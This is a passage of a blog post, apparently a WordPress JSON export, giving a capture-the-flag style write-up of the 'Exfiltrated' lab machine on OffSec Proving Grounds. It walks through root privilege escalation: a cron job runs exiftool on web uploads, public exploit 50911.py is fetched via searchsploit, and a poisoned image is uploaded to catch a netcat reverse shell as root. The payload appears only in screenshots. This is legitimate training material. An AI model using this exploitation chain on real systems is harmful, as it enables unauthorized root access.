0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #EEFFFF\"> \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 <\/span><span style=\"color: #82AAFF\">minute<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #EEFFFF\">\u2013<\/span><span style=\"color: #F78C6C\">59<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\"> \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 <\/span><span style=\"color: #82AAFF\">hour<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #EEFFFF\">\u2013<\/span><span style=\"color: #F78C6C\">23<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\"> \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 day of the <\/span><span style=\"color: #82AAFF\">month<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #EEFFFF\">\u2013<\/span><span style=\"color: #F78C6C\">31<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\"> \u2502 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 <\/span><span style=\"color: #82AAFF\">month<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #EEFFFF\">\u2013<\/span><span style=\"color: #F78C6C\">12<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\"> \u2502 \u2502 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 day of the <\/span><span style=\"color: #82AAFF\">week<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: #EEFFFF\">\u2013<\/span><span style=\"color: #F78C6C\">6<\/span><span style=\"color: #89DDFF\">)<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #EEFFFF\">Sunday to Saturday<\/span><span style=\"color: #89DDFF\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\"> \u2502 \u2502 \u2502 \u2502 \u2502                       <\/span><span style=\"color: #F78C6C\">7<\/span><span style=\"color: #EEFFFF\"> is also Sunday on some systems<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\"> \u2502 \u2502 \u2502 \u2502 \u2502<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\"> \u2502 \u2502 \u2502 \u2502 \u2502<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">*<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">*<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">*<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">*<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">*<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&lt;<\/span><span style=\"color: #EEFFFF\">command to execute<\/span><span style=\"color: #89DDFF\">&gt;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>Time to check out that file to see what it does. Change directory (<code>cd<\/code>) into <code>\/opt\/<\/code>, list files (<code>ls<\/code>), and view (<code>cat<\/code>) the <code>image-exif.sh<\/code> file.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"673\" height=\"683\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-57.png\" alt=\"\" class=\"wp-image-328\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-57.png 673w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-57-296x300.png 296w\" sizes=\"auto, (max-width: 673px) 100vw, 673px\" \/><\/figure>\n\n\n\n<p>Only the file owner (root) has permission to write to the file, meaning we are unable to maliciously alter it. It shows that it executes a command <code>exiftool \"$IMAGES\/$filename\" &gt;&gt; $LOGFILE<\/code>. Some searching shows that exiftool is for reading\/writing metadata to images. This particular command grabs the images from <code>'\/var\/www\/html\/subrion\/uploads'<\/code>. It then wriites\/appends the command output into a log file.<\/p>\n\n\n\n<p>The directory looks like a web directory we may have access to. Going back to the web page&#8217;s admin dashboard, the Uploads directory is found at <code>Content<\/code> &#8211;&gt; <code>Uploads<\/code>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"722\" height=\"311\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-59.png\" alt=\"\" class=\"wp-image-332\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-59.png 722w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-59-300x129.png 300w\" sizes=\"auto, (max-width: 722px) 100vw, 722px\" \/><\/figure>\n\n\n\n<p>Notice the button for uploading files. Also, our inital webshell file is already in there. <strong>Note<\/strong>: the name doesn&#8217;t match what was previously in this write-up since I&#8217;ve gone back to re-exploit the machine for the sake of writing this report.<\/p>\n\n\n\n<p>Checking searchsploit, an exploit for exiftool brings up a winning result. we copy it to the working directory<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"920\" height=\"318\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-60.png\" alt=\"\" class=\"wp-image-333\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-60.png 920w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-60-300x104.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-60-768x265.png 768w\" sizes=\"auto, (max-width: 920px) 100vw, 920px\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>searchsploit exiftool\nsearchsploit -m linux\/local\/50911.py<\/code><\/pre>\n\n\n\n<p>Documentation online states that <code>exiftool<\/code> and <code>djvulibre-bin package<\/code> are required to fire the exploit. Exiftool should already be installed on Kali, however I had to install <code>djvulibre-bin<\/code>. It was fairly simple.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo apt-get update -y\nsudo apt-get install -y djvulibre-bin<\/code><\/pre>\n\n\n\n<p>Running the script naked, without parameters, brings a nice hep menu explaining the syntax.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"949\" height=\"393\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-61.png\" alt=\"\" class=\"wp-image-334\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-61.png 949w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-61-300x124.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-61-768x318.png 768w\" sizes=\"auto, (max-width: 949px) 100vw, 949px\" \/><\/figure>\n\n\n\n<p>A source image is not required, but that&#8217;s not very fun. So I found a free clip art of a cow being &#8220;exfiltrated&#8221; into a UFO.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"400\" height=\"541\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-62.png\" alt=\"\" class=\"wp-image-335\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-62.png 400w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-62-222x300.png 222w\" sizes=\"auto, (max-width: 400px) 100vw, 400px\" \/><\/figure>\n\n\n\n<p>Set the proper command parameters to match my Kali machine. Remember, to pick a different port than the one your other shell is on (assuming that it is still up). It will show the payload used and export the new image as <code>image.jpg<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"953\" height=\"324\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-65.png\" alt=\"\" class=\"wp-image-338\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-65.png 953w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-65-300x102.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-65-768x261.png 768w\" sizes=\"auto, (max-width: 953px) 100vw, 953px\" \/><\/figure>\n\n\n\n<p>Set up your netcat listener before dropping the file onto the target&#8217;s web interface since the cron job executes once every minute.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"653\" height=\"115\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-66.png\" alt=\"\" class=\"wp-image-339\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-66.png 653w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-66-300x53.png 300w\" sizes=\"auto, (max-width: 653px) 100vw, 653px\" \/><\/figure>\n\n\n\n<p>Drop that file!<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"487\" height=\"300\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-67.png\" alt=\"\" class=\"wp-image-340\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-67.png 487w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-67-300x185.png 300w\" sizes=\"auto, (max-width: 487px) 100vw, 487px\" \/><\/figure>\n\n\n\n<p>Check back on the netcat listener. Enter commands as <code>root<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"799\" height=\"203\" src=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-68.png\" alt=\"\" class=\"wp-image-341\" srcset=\"https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-68.png 799w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-68-300x76.png 300w, https:\/\/bencron.com\/wp-content\/uploads\/2024\/06\/image-68-768x195.png 768w\" sizes=\"auto, (max-width: 799px) 100vw, 799px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading has-text-align-center\">The Debriefing<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">What went right?<\/h3>\n\n\n\n<p>I was able to successfully exploit Exfiltration from beginning to end. In my original notes, I used <code>pwnkit<\/code> as a privilege escalation. Running linpeas on the target shuggested that it was vulnerable. It makes for an easy win, but a very boring for a write up. So, I decided to find an alternative way.<\/p>\n\n\n\n<p>I am also getting better at making the write-up itself. Discovered neer tools and plugins. Particularly applying to making code block a bit more easy on the eyes.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What went wrong?<\/h3>\n\n\n\n<p>My initial notes were not that great and I had to essentially re-explot the entire machine. That may not be a bad techniques actually. But it does not make for speedy report creation. I am slow.<\/p>\n\n\n\n<p>I am struggling with figuring how much detail to go into with these. Not sure who the real target audience is. I treat it as if I am the target audience and am doing this to get a broader understanding of what is happening &#8220;under the hood&#8221;.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Lessons Learned<\/h3>\n\n\n\n<p>The report is starting to look better. I need to be better at note taking. I am getting faster at creation, but need to conitune to find ways to streamline the process. The answer here seems to be the usual solution&#8230;practice.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Summary Platform Site OffSec Proving Grounds (Practice) Hostname exfiltrated Domain exfiltrated.offsec Operating System \/ Architecture linux Rating Easy I am going to be attacking the Exfiltrated machine on Offsec Proving Grounds. This report will involve scanning and service enumeration, leading to the initial foothold on the machine. Explanations of the foothold will be given. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-262","post","type-post","status-publish","format-standard","hentry","category-vuln-machines"],"_links":{"self":[{"href":"https:\/\/bencron.com\/index.php?rest_route=\/wp\/v2\/posts\/262","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bencron.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bencron.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bencron.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bencron.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=262"}],"version-history":[{"count":36,"href":"https:\/\/bencron.com\/index.php?rest_route=\/wp\/v2\/posts\/262\/revisions"}],"predecessor-version":[{"id":359,"href":"https:\/\/bencron.com\/index.php?rest_route=\/wp\/v2\/posts\/262\/revisions\/359"}],"wp:attachment":[{"href":"https:\/\/bencron.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=262"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bencron.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=262"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bencron.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=262"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}